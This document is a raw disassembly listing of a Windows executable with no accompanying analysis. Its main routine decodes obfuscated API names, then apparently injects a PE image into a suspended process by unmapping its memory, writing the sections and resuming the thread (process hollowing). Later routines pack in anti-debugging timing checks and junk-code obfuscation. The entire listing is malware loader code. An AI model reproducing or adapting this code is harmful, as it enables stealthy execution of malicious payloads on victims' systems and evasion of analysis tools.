		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	edx, [ebp+var_4]
		movzx	edx, word ptr [edx+14h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_401F18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F3C	proc near		; CODE XREF: sub_401FF4+3D5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 1Dh
		mov	eax, ds:dword_405070[eax*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F5C	proc near		; CODE XREF: sub_401FF4+46p
					; sub_401FF4+6Ap ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_401FE8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401808
		test	eax, eax
		jle	short loc_401FCA
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_401F99:				; CODE XREF: sub_401F5C+6Cj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	al, [eax+edx-1]
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_18]
		mov	dl, [ebp+var_D]
		sub	dl, 3Bh
		call	sub_4017D4
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_8]
		call	sub_401810
		mov	eax, [ebp+var_8]
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_401F99


loc_401FCA:				; CODE XREF: sub_401F5C+31j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401FEF


loc_401FD7:				; CODE XREF: sub_401F5C+91j
		lea	eax, [ebp+var_18]
		call	sub_4016E0
		lea	eax, [ebp+var_4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_401FE8:				; DATA XREF: sub_401F5C+1Co
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401FD7
; ---------------------------------------------------------------------------


loc_401FEF:				; CODE XREF: sub_401F5C+8Bj
					; DATA XREF: sub_401F5C+76o
		mov	esp, ebp
		pop	ebp
		retn
sub_401F5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FF4	proc near		; CODE XREF: sub_403EB5+1A8p

var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_BC		= dword	ptr -0BCh
var_8C		= word ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
hModule		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 37h


loc_401FFD:				; CODE XREF: sub_401FF4+Ej
		push	0
		push	0
		dec	ecx
		jnz	short loc_401FFD
		xchg	ecx, [ebp+var_4]
		push	ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_40197C
		mov	eax, [ebp+var_C]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_4024A4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_18C]
		mov	eax, offset dword_4024C0
		call	sub_401F5C
		mov	eax, [ebp+var_18C]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	[ebp+hModule], eax
		lea	edx, [ebp+var_190]
		mov	eax, offset dword_4024D8
		call	sub_401F5C
		mov	eax, [ebp+var_190]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	[ebp+var_18], eax
		lea	edx, [ebp+var_194]
		mov	eax, offset dword_4024EC
		call	sub_401F5C
		mov	eax, [ebp+var_194]
		call	sub_40198C
		push	eax		; lpProcName
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	GetProcAddress
		mov	[ebp+var_40], eax
		lea	edx, [ebp+var_198]
		mov	eax, offset dword_402504
		call	sub_401F5C
		mov	eax, [ebp+var_198]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_3C], eax
		lea	edx, [ebp+var_19C]
		mov	eax, offset aVappgnaQKipaP ; "‚ ¯£­ œŸ~ª©¯ ³¯"
		call	sub_401F5C
		mov	eax, [ebp+var_19C]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_44], eax
		lea	edx, [ebp+var_1A0]
		mov	eax, offset aNaQlnkuaooiaik ; " œŸ‹­ª ®®ˆ ¨ª­´"
		call	sub_401F5C
		mov	eax, [ebp+var_1A0]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_48], eax
		lea	edx, [ebp+var_1A4]
		mov	eax, offset aTndpalnkuaooia ; "’­¤¯ ‹­ª ®®ˆ ¨ª­´"
		call	sub_401F5C
		mov	eax, [ebp+var_1A4]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_4C], eax
		lea	edx, [ebp+var_1A8]
		mov	eax, offset aOappgnaQKipaP ; " ¯£­ œŸ~ª©¯ ³¯"
		call	sub_401F5C
		mov	eax, [ebp+var_1A8]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_50], eax
		lea	edx, [ebp+var_1AC]
		mov	eax, offset dword_40258C
		call	sub_401F5C
		mov	eax, [ebp+var_1AC]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_54], eax
		lea	edx, [ebp+var_1B0]
		mov	eax, offset dword_4025A4
		call	sub_401F5C
		mov	eax, [ebp+var_1B0]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_58], eax
		lea	edx, [ebp+var_1B4]
		mov	eax, offset aSdnpZlnkpaupa ; "‘¤­¯°œ§‹­ª¯ ¯€³"
		call	sub_401F5C
		mov	eax, [ebp+var_1B4]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_5C], eax
		lea	edx, [ebp+var_1B8]
		mov	eax, offset aXRiiLsdaKboaup ; "•²©¨œ«‘¤ ²Š¡ ¯¤ª©"
		call	sub_401F5C
		mov	eax, [ebp+var_1B8]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_60], eax
		lea	edx, [ebp+var_1BC]
		mov	eax, offset aPanidiPalnkuao ; " ­¨¤©œ¯ ‹­ª ®®"
		call	sub_401F5C
		mov	eax, [ebp+var_1BC]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_64], eax
		mov	[ebp+var_D], 0
		lea	eax, [ebp+var_78]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4013DC
		lea	eax, [ebp+var_BC]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_4013DC
		mov	[ebp+var_BC], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_8C], ax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_40198C
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_40198C
		push	eax
		call	[ebp+var_3C]
		test	eax, eax
		jz	loc_402479
		mov	[ebp+var_35], 1
		xor	eax, eax
		push	ebp
		push	offset loc_402472
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_188], 10002h
		lea	eax, [ebp+var_188]
		push	eax
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_44]
		test	eax, eax
		jz	loc_402446
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_E4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_48]
		test	eax, eax
		jz	loc_402446
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_60]
		test	eax, eax
		jl	loc_402446
		cmp	[ebp+var_4], 0
		jz	loc_402446
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_30], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_30]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_58]
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_402446
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	loc_402446
		mov	eax, [ebp+var_30]
		call	sub_401F18
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	loc_402401
		inc	eax
		mov	[ebp+var_68], eax
		mov	[ebp+var_28], 0


loc_402379:				; CODE XREF: sub_401FF4+407j
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+10h]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	short loc_4023F5
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+24h]
		call	sub_401F3C
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+8]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_5C]


loc_4023F5:				; CODE XREF: sub_401FF4+3C2j
		inc	[ebp+var_28]
		dec	[ebp+var_68]
		jnz	loc_402379


loc_402401:				; CODE XREF: sub_401FF4+374j
		lea	eax, [ebp+var_24]
		push	eax
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_E4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	short loc_402446
		mov	eax, [ebp+var_30]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_D8], eax
		lea	eax, [ebp+var_188]
		push	eax
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_50]
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_35], al


loc_402446:				; CODE XREF: sub_401FF4+2C2j
					; sub_401FF4+2E5j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402479


loc_402453:				; CODE XREF: sub_401FF4+483j
		cmp	[ebp+var_35], 0
		jnz	short loc_402464
		push	0
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_64]
		jmp	short loc_40246B
; ---------------------------------------------------------------------------


loc_402464:				; CODE XREF: sub_401FF4+463j
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_54]


loc_40246B:				; CODE XREF: sub_401FF4+46Ej
		mov	al, [ebp+var_35]
		mov	[ebp+var_D], al
		retn
; ---------------------------------------------------------------------------


loc_402472:				; DATA XREF: sub_401FF4+29Do
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_402453
; ---------------------------------------------------------------------------


loc_402479:				; CODE XREF: sub_401FF4+290j
					; DATA XREF: sub_401FF4+45Ao
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4024AB


loc_402486:				; CODE XREF: sub_401FF4+4B5j
		lea	eax, [ebp+var_1BC]
		mov	edx, 0Dh
		call	sub_401704
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_4024A4:				; DATA XREF: sub_401FF4+30o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_402486
; ---------------------------------------------------------------------------


loc_4024AB:				; CODE XREF: sub_401FF4+4AFj
					; DATA XREF: sub_401FF4+48Do
		mov	al, [ebp+var_D]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_401FF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_4024C0	dd 0A9ADA0A6h, 6D6EA7A0h, 0A7A79F69h, 0	; DATA XREF: sub_401FF4+41o
		dd 0FFFFFFFFh, 9
dword_4024D8	dd 0A79FAFA9h, 0A79F69A7h, 0A7h, 0FFFFFFFFh, 0Eh ; DATA	XREF: sub_401FF4+65o
dword_4024EC	dd 8BAFA082h, 7C9EAAADh, 0A0AD9F9Fh, 0AEAEh, 0FFFFFFFFh
					; DATA XREF: sub_401FF4+89o
		dd 0Eh
dword_402504	dd 9CA0AD7Eh, 0AD8BA0AFh, 0AEA09EAAh, 7CAEh, 0FFFFFFFFh
					; DATA XREF: sub_401FF4+B1o
		dd 10h
aVappgnaQKipaP	db '‚ ¯£­ œŸ~ª©¯ ³¯',0 ; DATA XREF: sub_401FF4+D7o
		align 10h
		dd 0FFFFFFFFh, 11h
aNaQlnkuaooiaik	db ' œŸ‹­ª ®®ˆ ¨ª­´',0 ; DATA XREF: sub_401FF4+FDo
		align 4
		dd 0FFFFFFFFh, 12h
aTndpalnkuaooia	db '’­¤¯ ‹­ª ®®ˆ ¨ª­´',0 ; DATA XREF: sub_401FF4+123o
		align 4
		dd 0FFFFFFFFh, 10h
aOappgnaQKipaP	db ' ¯£­ œŸ~ª©¯ ³¯',0 ; DATA XREF: sub_401FF4+149o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_40258C	dd 0B0AEA08Dh, 0A38FA0A8h, 9F9CA0ADh, 0	; DATA XREF: sub_401FF4+16Fo
		dd 0FFFFFFFFh, 0Eh
dword_4025A4	dd 0AFADA491h, 7CA79CB0h, 9EAAA7A7h, 0B380h, 0FFFFFFFFh
					; DATA XREF: sub_401FF4+195o
		dd 10h
aSdnpZlnkpaupa	db '‘¤­¯°œ§‹­ª¯ ¯€³',0 ; DATA XREF: sub_401FF4+1BBo
		align 10h
		dd 0FFFFFFFFh, 14h
aXRiiLsdaKboaup	db '•²©¨œ«‘¤ ²Š¡ ¯¤ª©',0 ; DATA XREF: sub_401FF4+1E1o
		align 10h
		dd 0FFFFFFFFh, 10h
aPanidiPalnkuao	db ' ­¨¤©œ¯ ‹­ª ®®',0 ; DATA XREF: sub_401FF4+207o
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402631
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40612C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402638


loc_402630:				; CODE XREF: CODE:00402636j
		retn
; ---------------------------------------------------------------------------


loc_402631:				; DATA XREF: CODE:00402612o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_402630
; ---------------------------------------------------------------------------


loc_402638:				; CODE XREF: CODE:loc_402630j
					; DATA XREF: CODE:0040262Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40612C, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402644	proc near		; CODE XREF: start+27p	sub_403EB5+Ep ...
		push	ebp
		mov	ebp, esp
		push	ecx
		push	2		; dwMilliseconds
		call	Sleep
		push	2		; dwMilliseconds
		call	Sleep
		push	2		; dwMilliseconds
		call	Sleep
		push	2		; dwMilliseconds
		call	Sleep
		push	2		; dwMilliseconds
		call	Sleep
		jmp	loc_402822
sub_402644	endp

; ---------------------------------------------------------------------------
		dd 3CF97848h, 84FA0078h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_402678:				; CODE XREF: sub_40279E+9Dj
					; sub_40279E+A3j
		xadd	eax, eax
		push	1
		pop	eax
		jmp	short loc_402681
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_402681:				; CODE XREF: sub_40279E-120j
		imul	eax, eax
		inc	eax
		jz	near ptr loc_4026C9+1
		jnz	near ptr loc_4026C9+1
		mov	large ds:1E8h, eax ; CODE XREF:	sub_40279E+29j
					; sub_40279E+2Fj
		add	[esi+1E8h], dh
		add	[eax-7Dh], bh
		inc	esp
		and	al, 4
		adc	al, [ebx-3CF5DBFCh]
		inc	eax
		call	near ptr loc_4026B8+1
		jb	short loc_402715
		imul	esi, [bp+di+74h], 64657265h


loc_4026B8:				; CODE XREF: sub_40279E-F5p
		add	[eax+6Ah], bl
		pop	ebx
		pop	eax
		jp	loc_40280A
		jnp	loc_40280A


loc_4026C9:				; CODE XREF: sub_40279E-119j
					; sub_40279E-113j
		cmp	ebp, ebx
		or	esi, [edx+65h]
		imul	esi, [bp+di+74h], 64657265h
		add	[edi], cl
		mov	cl, [edi+0F000000h]
		mov	ecx, [ecx+50000000h]


loc_4026E4:				; CODE XREF: sub_40279E+78j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_4026F4:				; CODE XREF: sub_40279E:loc_4026F4j
		jg	short loc_4026F4
		push	84D5h
		add	esp, 4
		rol	ebx, 5
		ror	ebx, 5
		inc	ecx
		jmp	loc_402882
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		dw 0B07Ch
		dd 6A243CF9h
; ---------------------------------------------------------------------------
		test	al, 0F2h
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_402712:				; CODE XREF: sub_40279E:loc_402891j
					; sub_40279E+F9j
		rdtsc
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_402715:				; CODE XREF: sub_40279E-F0j
		enter	310Fh, 2Bh
		enter	0FFFFD1F7h, 81h
		stc
		add	[eax+0], dl
		add	[ebp+eax-17h], bh
		fstp	tbyte ptr [esp+ebp]
		dec	esp
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_402739:				; CODE XREF: CODE:loc_402739j
		jg	short loc_402739
		jmp	short loc_40273F
; ---------------------------------------------------------------------------
		db 37h,	0ECh
; ---------------------------------------------------------------------------


loc_40273F:				; CODE XREF: CODE:0040273Bj
		mov	eax, eax
		jz	loc_4027D4
		jnz	loc_4027D4
		call	small near ptr 275Ch ; CODE XREF: sub_40279E+123j
					; sub_40279E+129j
; ---------------------------------------------------------------------------
		db 2 dup(0), 72h
aEgistered	db 'egistered',0
		dw 0F58h
		dd 1698Ch, 638D0F00h, 98000001h, 1E8h, 1E8F200h, 0A8000000h
		dd 4244483h, 24048312h,	0EBF0C30Ah, 6765720Bh, 65747369h
		dd 646572h, 7840FF8h, 0F000001h, 10185h
		db 0, 17h

; =============== S U B	R O U T	I N E =======================================



sub_40279E	proc near		; CODE XREF: sub_40279E+5Fp

; FUNCTION CHUNK AT 00402678 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00402681 SIZE 00000089 BYTES
; FUNCTION CHUNK AT 00402712 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00402882 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00402891 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004028BF SIZE 0000001E BYTES

		xadd	eax, eax
		setalc
		add	esp, 4
		jl	loc_402848
		jge	loc_402848
		adc	cl, [edi]
		xor	[ebx+2B310FC8h], ecx
		enter	0FFFFD1F7h, 81h
		stc
		add	[eax+0], dl
		add	[edi-2], bh
		xadd	eax, eax
		jz	near ptr loc_402691+1
		jnz	near ptr loc_402691+1
		dec	ecx


loc_4027D4:				; CODE XREF: CODE:00402741j
					; CODE:00402747j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_4027E4:				; CODE XREF: sub_40279E:loc_4027E4j
		jg	short loc_4027E4
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_4027F6:				; CODE XREF: sub_40279E:loc_4027F6j
		jg	short loc_4027F6
		jmp	short loc_4027FB
; ---------------------------------------------------------------------------
		db 24h
; ---------------------------------------------------------------------------


loc_4027FB:				; CODE XREF: sub_40279E+5Aj
		mov	eax, eax
		call	sub_40279E
		mov	eax, ds:0B73CF9BFh
		retn
; ---------------------------------------------------------------------------
		db 53h,	44h
; ---------------------------------------------------------------------------


loc_40280A:				; CODE XREF: sub_40279E-E1j
					; sub_40279E-DBj
		rol	ebx, 5
		ror	ebx, 5
		imul	eax, eax
		not	eax
		stc
		jb	loc_4026E4
		add	dl, cl
		cmpsb
		add	al, 9
; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------


loc_402822:				; CODE XREF: sub_402644+27j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_402832:				; CODE XREF: sub_40279E:loc_402832j
		jg	short loc_402832
		rol	ebx, 5
		ror	ebx, 5
		stc
		jp	loc_402678
		jnp	loc_402678
		das


loc_402848:				; CODE XREF: sub_40279E+7j
					; sub_40279E+Dj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_402858:				; CODE XREF: sub_40279E:loc_402858j
		jg	short loc_402858
		call	near ptr loc_402869+1
		jb	short near ptr loc_4028C1+5
		imul	esi, [bp+di+74h], 64657265h


loc_402869:				; CODE XREF: sub_40279E+BCp
		add	[eax-15h], bl
sub_40279E	endp ; sp-analysis failed

		add	[esi+0FCF0F65h], edx
		iret
; ---------------------------------------------------------------------------
		db 0F7h
		dd 91800FD0h, 0F000000h, 8B81h
		db 0, 0D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_402882:				; CODE XREF: sub_40279E-99j
		jmp	short loc_402891
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		dd 6E6F7277h, 65732067h, 6C616972h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_402891:				; CODE XREF: sub_40279E:loc_402882j
		jo	loc_402712
		jno	loc_402712
		in	eax, dx
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_4028AE:				; CODE XREF: sub_40279E:loc_4028AEj
		jg	short loc_4028AE
		jmp	short loc_4028BF
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		dw 7277h
		dd 20676E6Fh, 69726573h
		db 61h,	6Ch, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40279E


loc_4028BF:				; CODE XREF: sub_40279E+112j
		mov	al, al


loc_4028C1:				; CODE XREF: sub_40279E+C1j
		jz	near ptr loc_40274D+1
		jnz	near ptr loc_40274D+1
		arpl	bx, bp
		or	esi, [edx+65h]
		imul	esi, [bp+di+74h], 64657265h
		add	[edi], cl
		iret
; END OF FUNCTION CHUNK	FOR sub_40279E
; ---------------------------------------------------------------------------
		db 0Fh,	0CFh, 0F3h
		dd 0C88B310Fh, 0C82B310Fh, 0F981D1F7h, 5000h, 5250FE7Fh
		dd 0C833310Fh, 58C8335Ah, 0F41C08Ah, 0FFFEAD80h, 0A7810FFFh
		dd 34FFFFFEh, 8E9h, 0FD2600h, 555FEA3Dh, 5C3C15Dh, 5205CBC1h
		dd 0B1800F5Ah, 0F000001h, 1AB81h, 310F7600h, 310FC88Bh
		dd 0D1F7C82Bh, 5000F981h, 0FE7F0000h, 4C6F68h, 4C48300h
		dd 8C0FC80Fh, 1CAh, 1C48D0Fh, 0FD90000h, 0FC88B31h, 0F7C82B31h
		dd 0F981D1h, 7F000050h,	0BE8FEh, 65720000h, 74736967h
		dd 64657265h, 0BEB5800h, 69676572h, 72657473h, 0F9006465h
		dd 0EE820Fh, 0E2000000h, 8AB0ECCEh, 310F5250h, 335AC833h
		dd 0C08A58C8h, 1FD8C0Fh, 8D0F0000h, 1F7h, 8B310F9Ah, 2B310FC8h
		dd 81D1F7C8h, 5000F9h, 50FE7F00h, 33310F52h, 0C8335AC8h
		dd 8A5A5258h, 66E9C0h, 2ADA0000h, 38163D01h, 1E88F06h
		dd 96000000h, 1E8h, 4483F800h, 83120424h, 0C30A2404h, 0CC8F6858h
		dd 0C4830000h, 0BA02EB04h, 0BEB4148h, 69676572h, 72657473h
		dd 50006465h, 880FF358h, 0FFFFFF1Ah, 0FF14890Fh, 50C3FFFFh
		dd 33310F52h, 0C8335AC8h, 0DD04EB58h, 0F8A86824h, 0FF62830Fh
		dd 0F800FFFFh, 0E4E41648h, 0C88B310Fh, 0C82B310Fh, 0F981D1F7h
		dd 5000h, 310FFE7Fh, 310FC88Bh,	0D1F7C82Bh, 5000F981h
		dd 0FE7F0000h, 0F78A0Fh, 8B0F0000h, 0F1h, 9802EB5Eh, 0F5A52E0h
		dd 0FFFFA68Ah, 0A08B0FFFh, 53FFFFFFh, 0C88B310Fh, 0C82B310Fh
		dd 0F981D1F7h, 5000h, 8F68FE7Fh, 830000CCh, 12E904C4h
		dd 4BFFFFFFh, 7D3D0125h, 0FAB8D38h, 0FC88B31h, 0F7C82B31h
		dd 0F981D1h, 7F000050h,	8B310FFEh, 2B310FC8h, 81D1F7C8h
		dd 5000F9h, 0EBFE7F00h,	0F416801h, 0FFFE868Ah, 808B0FFFh
		dd 2BFFFFFEh, 0FC0AF0Fh, 0AF0FC0AFh, 0FF9D6C0h,	0FFFEF182h
		dd 0E52300FFh, 0E832B391h, 1, 1E8CAh, 83880000h, 12042444h
		dd 0A240483h, 1EB88C3h,	0C4834020h, 62E904h, 47D30000h
		dd 14B53D01h, 310F09FCh, 310FC88Bh, 0D1F7C82Bh,	5000F981h
		dd 0FE7F0000h, 0BE8h, 67657200h, 65747369h, 646572h, 770DEB58h
